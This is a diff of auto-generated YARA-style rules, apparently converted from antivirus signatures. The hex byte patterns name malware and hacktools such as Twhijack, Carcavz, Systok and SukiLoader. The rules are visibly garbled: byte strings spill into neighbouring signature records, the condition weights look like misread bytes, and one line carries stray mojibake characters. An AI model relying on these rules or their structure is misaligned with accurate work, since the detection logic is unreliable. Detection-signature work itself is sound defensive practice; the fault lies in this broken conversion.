"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -167160,7 +178323,7 @@ rule _InfrastructureShared_14573{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_14574{ +rule _InfrastructureShared_15530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -167174,7 +178337,7 @@ rule _InfrastructureShared_14574{ ((#a_5f_0 & 1)*16931+(#a_73_1 & 1)*29545+(#a_74_2 & 1)*8226+(#a_2f_3 & 1)*29807+(#a_19_4 & 1)*29816) >=2 } -rule _InfrastructureShared_14575{ +rule _InfrastructureShared_15531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167185,7 +178348,7 @@ rule _InfrastructureShared_14575{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305) >=3 } -rule _InfrastructureShared_14576{ +rule _InfrastructureShared_15532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167197,7 +178360,7 @@ rule _InfrastructureShared_14576{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_6e_2 & 1)*27247) >=3 } -rule _InfrastructureShared_14577{ +rule _InfrastructureShared_15533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167209,7 +178372,7 @@ rule _InfrastructureShared_14577{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5897+(#a_00_2 & 1)*110) >=3 } -rule _InfrastructureShared_14578{ +rule _InfrastructureShared_15534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167220,7 +178383,7 @@ rule _InfrastructureShared_14578{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14579{ +rule _InfrastructureShared_15535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -167234,7 +178397,7 @@ rule _InfrastructureShared_14579{ ((#a_6c_0 & 1)*16675+(#a_6c_1 & 1)*21347+(#a_69_2 & 1)*14931+(#a_00_3 & 1)*280+(#a_00_5 & 1)*46) >=3 } -rule _InfrastructureShared_14580{ +rule _InfrastructureShared_15536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -167249,7 +178412,7 @@ rule _InfrastructureShared_14580{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_00_2 & 1)*97+(#a_00_3 & 1)*97+(#a_e7_4 & 1)*-19963+(#a_2e_5 & 1)*26994) >=3 } -rule _InfrastructureShared_14581{ +rule _InfrastructureShared_15537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -167264,7 +178427,7 @@ rule _InfrastructureShared_14581{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-31096+(#a_88_2 & 1)*18058+(#a_30_3 & 1)*-30719+(#a_01_4 & 1)*31744+(#a_f7_6 & 1)*4864) >=3 } -rule _InfrastructureShared_14582{ +rule _InfrastructureShared_15538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -167279,20 +178442,33 @@ rule _InfrastructureShared_14582{ ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*3+(#a_03_3 & 1)*3+(#a_03_4 & 1)*3+(#a_03_5 & 1)*3+(#a_03_6 & 1)*3) >=3 } -rule _InfrastructureShared_14583{ +rule _InfrastructureShared_15539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 42 61 62 79 6c 6f 6e 54 6f 6f 6c 62 61 72 00 01 00 12 80 01 46 54 57 41 52 45 5c 42 61 62 79 6c 6f 6e 54 6f 6f 6c 01 00 30 80 01 77 77 77 2e 62 61 62 79 6c 6f 6e 2e 63 6f 6d 2f 72 65 64 69 72 65 63 74 73 2f 64 6f 77 6e 6c 6f 61 64 2e 63 } //20515 $a_74_1 = {70 65 3d 37 33 31 38 01 00 25 80 01 49 6e 73 74 61 6c 6c 20 42 61 62 79 6c 6f 6e 20 54 6f 6f 6c 62 61 72 20 2d 20 52 45 43 4f 4d 4d 45 4e 44 45 44 01 00 3b 80 01 43 3a 5c 50 72 6f 6a 65 63 } //26983 - $a_4c_2 = {67 68 74 49 6e 73 74 61 6c 6c 65 72 5c 74 72 75 6e 63 5c 52 65 6c 65 61 73 65 5c 4c 69 67 68 74 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 d9 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 43 61 72 63 61 76 7a 2e 41 21 4d 54 42 00 01 00 2c 03 45 33 c0 48 8b } //29556 - $a_50_3 = {8b 8d 20 02 00 00 e8 90 01 04 48 8b 4d 48 0f b7 49 02 48 6b c9 28 48 8b 95 90 01 04 89 44 0a 08 90 00 01 00 15 01 45 33 c9 45 33 c0 48 8b 85 e8 00 00 00 8b 50 14 48 8b 4d 08 ff 01 00 22 03 48 c7 44 24 20 00 00 00 00 4c 8d 90 01 02 48 8b 8d 18 02 00 00 44 8b c1 48 8b d0 48 8b 4d 08 ff 90 00 01 00 44 01 25 00 ff 00 00 c1 e8 08 b9 01 00 00 00 48 6b c9 02 88 84 0d b4 02 00 00 8b 85 94 02 00 00 25 ff 00 00 00 b9 01 00 } //26693 + $a_4c_2 = {67 68 74 49 6e 73 74 61 6c 6c 65 72 5c 74 72 75 6e 63 5c 52 65 6c 65 61 73 65 5c 4c 69 67 68 74 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 d9 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 54 77 68 69 6a 61 63 6b 2e 41 00 01 00 24 03 48 8b 4c 24 30 48 8b 54 } //29556 + $a_42_3 = {90 01 04 e8 90 01 04 48 8b 4c 24 30 89 44 24 24 89 84 24 f4 00 90 00 01 00 23 03 89 4c 24 3c 44 8b 44 24 3c b9 90 01 04 31 d2 e8 90 01 04 48 89 c1 48 89 4c 24 30 48 89 8c 24 68 01 90 00 01 00 30 03 48 8b 4c 24 30 31 c0 89 c2 41 b8 90 01 04 41 b9 90 01 04 c7 44 24 20 90 01 04 e8 90 01 04 48 8b 4c 24 30 48 89 44 24 28 48 89 84 24 70 01 90 00 01 00 33 03 48 8b 55 40 48 8b 4d 30 48 c7 85 a0 09 00 00 90 01 04 48 89 e0 90 01 07 4c 89 40 20 48 8b 05 56 12 02 00 90 01 07 41 b9 90 01 04 ff d0 89 85 ac 09 90 00 00 00 78 d9 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 43 61 72 63 61 76 } //10276 condition: - ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*26983+(#a_4c_2 & 1)*29556+(#a_50_3 & 1)*26693) >=4 + ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*26983+(#a_4c_2 & 1)*29556+(#a_42_3 & 1)*10276) >=4 } -rule _InfrastructureShared_14584{ +rule _InfrastructureShared_15540{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 54 77 68 69 6a 61 63 6b 2e 41 00 01 00 24 03 48 8b 4c 24 30 48 8b 54 24 28 c7 42 30 90 01 04 e8 90 01 04 48 8b 4c 24 30 89 44 24 24 89 84 24 f4 00 90 00 01 00 23 03 89 4c 24 3c 44 8b 44 24 3c b9 90 01 04 31 d2 } //21283 + $a_04_1 = {48 } //-28440 H + $a_89_2 = {24 30 48 89 8c 24 68 01 90 00 01 00 30 03 48 8b 4c 24 30 31 c0 89 c2 41 b8 90 01 04 41 b9 90 01 04 c7 44 24 20 90 01 04 e8 90 01 04 48 8b 4c 24 30 48 89 44 24 28 48 89 84 24 70 01 90 00 01 00 33 03 48 8b 55 40 48 8b } //-15991 + $a_c7_3 = {a0 09 00 00 90 01 04 48 89 e0 90 01 07 4c 89 40 20 48 8b 05 56 12 02 00 90 01 07 41 b9 90 01 04 ff d0 89 85 ac 09 90 00 00 00 78 d9 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 43 61 72 63 61 76 7a 2e } //12365 + condition: + ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28440+(#a_89_2 & 1)*-15991+(#a_c7_3 & 1)*12365) >=4 + +} +rule _InfrastructureShared_15541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -167305,7 +178481,7 @@ rule _InfrastructureShared_14584{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*5376+(#a_48_2 & 1)*13125+(#a_8d_3 & 1)*400) >=4 } -rule _InfrastructureShared_14585{ +rule _InfrastructureShared_15542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -167313,26 +178489,38 @@ rule _InfrastructureShared_14585{ $a_46_0 = {48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 65 65 49 6e 6a 65 63 74 2e 4e 49 21 62 69 74 00 02 00 1a 03 33 ce 81 c6 90 01 04 31 08 83 c0 90 01 01 8d 3c 90 01 01 3b 7c 24 10 76 90 00 01 00 17 03 33 d2 f7 f3 8a 82 } //16675 $a_00_1 = {88 90 01 01 3e 46 3b 90 01 03 72 90 00 01 00 15 03 33 d2 f7 f7 8a 44 15 c0 88 90 01 01 1e 46 3b 90 01 02 72 90 00 01 00 22 03 8a 18 88 19 8a 58 01 41 40 88 19 41 40 83 6d 90 01 02 8a 18 88 19 } //-27128 $a_4d_2 = {01 01 75 f5 eb 90 00 01 00 2b 03 c6 45 f4 22 c6 45 90 01 01 25 c6 45 90 01 01 73 c6 45 90 01 01 5c c6 45 90 01 01 25 c6 45 90 01 01 73 c6 45 90 01 01 22 74 90 00 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 79 73 74 6f 6b 2e 41 21 64 68 61 00 01 00 3a 01 53 00 65 00 41 00 73 00 73 00 69 00 67 00 6e 00 50 00 72 00 69 00 6d 00 61 00 72 00 79 00 54 00 6f 00 6b 00 65 00 6e 00 50 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 01 00 0f 01 5b 2a 5d 20 54 6f 6b 65 6e 20 4e 61 6d 65 3a 01 00 1f 01 5b 2d 5d 20 43 75 72 72 65 6e 74 20 55 73 65 72 20 69 73 20 6e 6f 74 20 53 59 53 54 45 4d 21 01 00 1a 01 5b 2d 5d 20 50 72 69 76 69 6c 65 67 65 20 41 64 6a 75 73 74 20 46 61 69 6c 21 01 00 16 01 5b 2d } //16449 - $a_6f_3 = {6d 61 6e 64 20 69 73 20 4e 65 65 64 65 64 21 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 72 75 73 62 69 2e 41 21 64 68 61 00 01 00 18 01 50 } //8285 - $a_20_4 = {43 61 74 61 6c 6f 67 2f 63 61 74 61 5f 6c 2e 61 73 70 01 00 15 01 47 45 54 20 2f 51 5f 75 65 72 79 2e 61 73 70 3f 73 73 69 64 3d 01 00 19 01 50 4f 53 54 20 2f 62 62 73 2f 63 67 69 2d 62 69 6e 2f 69 6e 66 2e 63 67 69 01 00 08 01 2d 25 73 2d 25 30 34 64 } //21327 + $a_6f_3 = {6d 61 6e 64 20 69 73 20 4e 65 65 64 65 64 21 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 } //8285 + $a_6e_4 = {6d } //6144 m condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-27128+(#a_4d_2 & 1)*16449+(#a_6f_3 & 1)*8285+(#a_20_4 & 1)*21327) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-27128+(#a_4d_2 & 1)*16449+(#a_6f_3 & 1)*8285+(#a_6e_4 & 1)*6144) >=4 } -rule _InfrastructureShared_14586{ +rule _InfrastructureShared_15543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 79 73 74 6f 6b 2e 41 21 64 68 61 00 01 00 3a 01 53 00 65 00 41 00 73 00 73 00 69 00 67 00 6e 00 50 00 72 00 69 00 6d 00 61 00 72 00 79 00 54 00 6f 00 6b 00 65 00 6e 00 50 } //16675 剅䠺捡呫潯㩬楗㙮⼴祓瑳歯䄮搡慨Ā㨀匁攀䄀猀猀椀最渀倀爀椀洀愀爀礀吀漀欀攀渀倀 $a_00_2 = {6c 00 65 00 67 00 65 00 01 00 0f 01 5b 2a 5d 20 54 6f 6b 65 6e 20 4e 61 6d 65 3a 01 00 1f 01 5b 2d 5d 20 43 75 72 72 65 6e 74 20 55 73 65 72 20 69 73 20 6e 6f 74 20 53 59 53 54 45 4d 21 01 00 1a 01 5b 2d 5d 20 50 72 69 76 69 6c 65 67 65 20 41 64 6a 75 73 74 20 46 61 69 6c 21 01 00 16 01 5b 2d 5d 20 43 6f 6d 6d 61 } //118 - $a_69_3 = {20 4e 65 65 64 65 64 21 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 74 6f } //25710 - $a_57_4 = {6e 33 32 2f 44 65 72 75 73 62 69 2e 41 21 64 68 61 00 01 00 18 01 50 4f 53 54 20 2f 43 61 74 61 6c 6f 67 2f 63 61 74 61 5f 6c 2e 61 73 70 01 00 15 01 47 45 54 20 2f 51 5f 75 } //27759 + $a_69_3 = {20 4e 65 65 64 65 64 21 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f } //25710 + $a_3a_4 = {69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 18 01 6e 70 6d 5f 4c 6f 61 64 65 72 2e 64 6c 6c 00 43 68 6b 56 65 72 54 6f 57 01 00 16 01 5c 00 61 00 6c 00 77 00 69 00 6e 00 6b 00 2e 00 64 00 61 00 74 00 01 00 1e 01 2c 00 41 00 6c 00 6c 00 45 00 78 00 70 00 55 00 20 00 75 00 6e 00 69 00 6f 00 6e 00 77 00 } //24938 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*118+(#a_69_3 & 1)*25710+(#a_57_4 & 1)*27759) >=4 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*118+(#a_69_3 & 1)*25710+(#a_3a_4 & 1)*24938) >=4 } -rule _InfrastructureShared_14587{ +rule _InfrastructureShared_15544{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 18 01 6e 70 6d 5f 4c 6f 61 64 65 72 2e 64 6c 6c 00 43 68 6b 56 65 72 54 6f 57 01 00 16 01 5c 00 61 00 6c 00 77 00 69 00 6e } //16675 + $a_00_2 = {74 00 01 00 1e 01 2c 00 41 00 6c 00 6c 00 45 00 78 00 70 00 55 00 20 00 75 00 6e 00 69 00 6f 00 6e 00 77 00 01 00 10 01 52 00 65 00 61 00 6c 00 74 00 65 00 63 00 68 00 01 00 3a 01 25 00 30 00 34 00 64 00 2d 00 25 00 30 00 32 00 64 00 2d 00 25 00 30 00 32 00 64 00 54 00 25 00 30 00 32 00 64 } //100 + $a_00_4 = {64 00 3a 00 25 00 30 00 32 00 64 00 00 00 78 d9 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 72 75 73 } //48 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_4 & 1)*48) >=4 + +} +rule _InfrastructureShared_15545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -167346,7 +178534,7 @@ rule _InfrastructureShared_14587{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29285+(#a_74_2 & 1)*27756+(#a_75_3 & 1)*23636+(#a_01_4 & 1)*17863) >=4 } -rule _InfrastructureShared_14588{ +rule _InfrastructureShared_15546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -167361,7 +178549,7 @@ rule _InfrastructureShared_14588{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28531+(#a_46_2 & 1)*257+(#a_6b_3 & 1)*30051+(#a_00_4 & 1)*286+(#a_2e_5 & 1)*28515) >=4 } -rule _InfrastructureShared_14589{ +rule _InfrastructureShared_15547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167375,7 +178563,7 @@ rule _InfrastructureShared_14589{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_14590{ +rule _InfrastructureShared_15548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167388,7 +178576,7 @@ rule _InfrastructureShared_14590{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*-17054+(#a_53_4 & 1)*14958) >=5 } -rule _InfrastructureShared_14591{ +rule _InfrastructureShared_15549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167402,7 +178590,7 @@ rule _InfrastructureShared_14591{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28483+(#a_63_2 & 1)*30063+(#a_63_3 & 1)*11577+(#a_30_4 & 1)*22529) >=5 } -rule _InfrastructureShared_14592{ +rule _InfrastructureShared_15550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167416,7 +178604,7 @@ rule _InfrastructureShared_14592{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*24885+(#a_75_2 & 1)*29541+(#a_73_3 & 1)*24929+(#a_73_4 & 1)*29555) >=5 } -rule _InfrastructureShared_14593{ +rule _InfrastructureShared_15551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167430,7 +178618,7 @@ rule _InfrastructureShared_14593{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26989+(#a_73_2 & 1)*28257+(#a_69_3 & 1)*29285+(#a_00_4 & 1)*6) >=5 } -rule _InfrastructureShared_14594{ +rule _InfrastructureShared_15552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -167444,7 +178632,7 @@ rule _InfrastructureShared_14594{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21295+(#a_65_2 & 1)*29801+(#a_00_4 & 1)*10243+(#a_73_5 & 1)*2560) >=5 } -rule _InfrastructureShared_14595{ +rule _InfrastructureShared_15553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -167454,7 +178642,7 @@ rule _InfrastructureShared_14595{ ((#a_46_0 & 1)*16675) >=6 } -rule _InfrastructureShared_14596{ +rule _InfrastructureShared_15554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -167469,7 +178657,7 @@ rule _InfrastructureShared_14596{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*26967+(#a_65_2 & 1)*29301+(#a_41_3 & 1)*18247+(#a_6b_4 & 1)*27494+(#a_72_5 & 1)*25464) >=6 } -rule _InfrastructureShared_14597{ +rule _InfrastructureShared_15555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -167484,7 +178672,7 @@ rule _InfrastructureShared_14597{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16711+(#a_41_2 & 1)*21249+(#a_68_3 & 1)*27233+(#a_65_4 & 1)*31076+(#a_72_5 & 1)*25701) >=6 } -rule _InfrastructureShared_14598{ +rule _InfrastructureShared_15556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -167498,7 +178686,7 @@ rule _InfrastructureShared_14598{ ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*9473+(#a_6e_3 & 1)*23667+(#a_20_4 & 1)*26912+(#a_73_5 & 1)*29555) >=6 } -rule _InfrastructureShared_14599{ +rule _InfrastructureShared_15557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -167513,7 +178701,7 @@ rule _InfrastructureShared_14599{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*29545+(#a_65_2 & 1)*27731+(#a_61_3 & 1)*14918+(#a_62_4 & 1)*28718+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_14600{ +rule _InfrastructureShared_15558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -167530,7 +178718,7 @@ rule _InfrastructureShared_14600{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27905+(#a_72_2 & 1)*26227+(#a_6e_4 & 1)*25972+(#a_6e_5 & 1)*24940+(#a_63_6 & 1)*27760+(#a_39_7 & 1)*25189+(#a_00_8 & 1)*1) >=6 } -rule _InfrastructureShared_14601{ +rule _InfrastructureShared_15559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -167546,7 +178734,7 @@ rule _InfrastructureShared_14601{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25972+(#a_6e_2 & 1)*24940+(#a_63_3 & 1)*27760+(#a_39_4 & 1)*25189+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 } -rule _InfrastructureShared_14602{ +rule _InfrastructureShared_15560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -167561,7 +178749,7 @@ rule _InfrastructureShared_14602{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25933+(#a_30_2 & 1)*25910+(#a_00_4 & 1)*117+(#a_63_5 & 1)*31091+(#a_6e_6 & 1)*26995) >=7 } -rule _InfrastructureShared_14603{ +rule _InfrastructureShared_15561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -167575,7 +178763,7 @@ rule _InfrastructureShared_14603{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_4 & 1)*0+(#a_3a_5 & 1)*21587+(#a_70_6 & 1)*16732) >=7 } -rule _InfrastructureShared_14604{ +rule _InfrastructureShared_15562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -167591,7 +178779,7 @@ rule _InfrastructureShared_14604{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*23662+(#a_53_2 & 1)*-32465+(#a_46_3 & 1)*26708+(#a_61_4 & 1)*28271+(#a_43_5 & 1)*29793+(#a_2f_6 & 1)*-32736) >=7 } -rule _InfrastructureShared_14605{ +rule _InfrastructureShared_15563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -167608,7 +178796,7 @@ rule _InfrastructureShared_14605{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_d9_7 & 1)*0) >=8 } -rule _InfrastructureShared_14606{ +rule _InfrastructureShared_15564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -167625,7 +178813,7 @@ rule _InfrastructureShared_14606{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26998+(#a_42_2 & 1)*29249+(#a_72_3 & 1)*23610+(#a_72_4 & 1)*23610+(#a_04_5 & 1)*-28632+(#a_01_6 & 1)*29191+(#a_23_7 & 1)*8) >=9 } -rule _InfrastructureShared_14607{ +rule _InfrastructureShared_15565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -167637,7 +178825,7 @@ rule _InfrastructureShared_14607{ ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*29286+(#a_72_2 & 1)*30313) >=10 } -rule _InfrastructureShared_14608{ +rule _InfrastructureShared_15566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -167652,7 +178840,7 @@ rule _InfrastructureShared_14608{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*400+(#a_01_2 & 1)*28425+(#a_6c_3 & 1)*25940+(#a_01_4 & 1)*4096+(#a_10_5 & 1)*-28580) >=15 } -rule _InfrastructureShared_14609{ +rule _InfrastructureShared_15567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -167667,7 +178855,7 @@ rule _InfrastructureShared_14609{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078+(#a_65_3 & 1)*384+(#a_00_5 & 1)*21+(#a_44_6 & 1)*24938+(#a_74_7 & 1)*25965) >=17 } -rule _InfrastructureShared_14610{ +rule _InfrastructureShared_15568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 0b 00 03 00 21 " @@ -167679,7 +178867,7 @@ rule _InfrastructureShared_14610{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*29555+(#a_2d_2 & 1)*7056) >=11 } -rule _InfrastructureShared_14611{ +rule _InfrastructureShared_15569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -167690,7 +178878,7 @@ rule _InfrastructureShared_14611{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28437) >=30 } -rule _InfrastructureShared_14612{ +rule _InfrastructureShared_15570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -167703,7 +178891,7 @@ rule _InfrastructureShared_14612{ ((#a_4e_0 & 1)*20259+(#a_4b_1 & 1)*28225+(#a_2e_2 & 1)*25931+(#a_68_3 & 1)*-4027) >=40 } -rule _InfrastructureShared_14613{ +rule _InfrastructureShared_15571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -167714,7 +178902,7 @@ rule _InfrastructureShared_14613{ ((#a_46_0 & 1)*21283+(#a_c7_1 & 1)*2184) >=1 } -rule _InfrastructureShared_14614{ +rule _InfrastructureShared_15572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -167724,7 +178912,7 @@ rule _InfrastructureShared_14614{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14615{ +rule _InfrastructureShared_15573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -167735,7 +178923,7 @@ rule _InfrastructureShared_14615{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*1809) >=2 } -rule _InfrastructureShared_14616{ +rule _InfrastructureShared_15574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -167747,7 +178935,7 @@ rule _InfrastructureShared_14616{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*117) >=2 } -rule _InfrastructureShared_14617{ +rule _InfrastructureShared_15575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -167761,7 +178949,7 @@ rule _InfrastructureShared_14617{ ((#a_46_0 & 1)*21283+(#a_8f_1 & 1)*30207+(#a_46_2 & 1)*16675+(#a_55_3 & 1)*1025+(#a_32_4 & 1)*14918) >=2 } -rule _InfrastructureShared_14618{ +rule _InfrastructureShared_15576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167773,7 +178961,7 @@ rule _InfrastructureShared_14618{ ((#a_46_0 & 1)*16675+(#a_55_1 & 